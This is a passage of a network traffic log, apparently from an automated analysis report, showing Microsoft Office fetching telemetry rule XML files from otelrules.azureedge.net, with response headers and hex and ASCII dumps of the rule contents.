2024-12-07 07:43:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:55 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: a374b664-e01e-0051-1f05-4884b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074355Z-r1cf579d778lntp7hC1EWR9gg4000000014g000000003zyp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:56 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:55 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:55 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: f6e8c48a-401e-000a-8008-484a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074355Z-r1cf579d7788pwqzhC1EWRrpd8000000022g0000000012a8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:56 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:55 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:55 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 83778e64-b01e-0070-6d05-481cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074355Z-r1cf579d7789trgthC1EWRkkfc00000002bg0000000047sp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:56 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:55 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:55 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 8332a10a-c01e-0079-4304-48e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074355Z-r1cf579d778xq4f9hC1EWRx41g00000001q0000000000aat x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:56 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:56 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:56 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: e8b3d2c0-701e-0050-0b05-486767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074356Z-r1cf579d7788pwqzhC1EWRrpd8000000021g000000001p3p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:56 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.5	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:57 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:57 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: fdf3550d-a01e-0070-7703-48573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074357Z-r1cf579d778zvkpnhC1EWRv23g00000001y0000000003dkw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:58 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:57 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:58 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 1dbd65e4-a01e-0002-7203-485074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074358Z-r1cf579d778qlpkrhC1EWRpfc800000002cg000000002vhu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:58 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:57 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:58 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: b8e80a8d-201e-000c-1e03-4879c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074358Z-r1cf579d7784wpmvhC1EWRk4cn000000014g000000003yes x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:58 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:57 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:58 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 555e9168-001e-0017-4603-480c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074358Z-r1cf579d778g2t6ghC1EWRfggs0000000180000000001te4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:58 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.5	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:58 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:58 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 18148ef3-001e-002b-2504-4899f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074358Z-r1cf579d778dfdgnhC1EWRd3w000000001n0000000000vxk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:58 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:00 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:00 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 42d07f15-f01e-0099-5306-489171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074400Z-r1cf579d7786c2tshC1EWRr1gc00000001bg000000002nca x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:00 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:00 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:00 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 0b61f7bb-f01e-0052-4103-489224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074400Z-r1cf579d778g2t6ghC1EWRfggs0000000180000000001tfq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:00 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:00 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
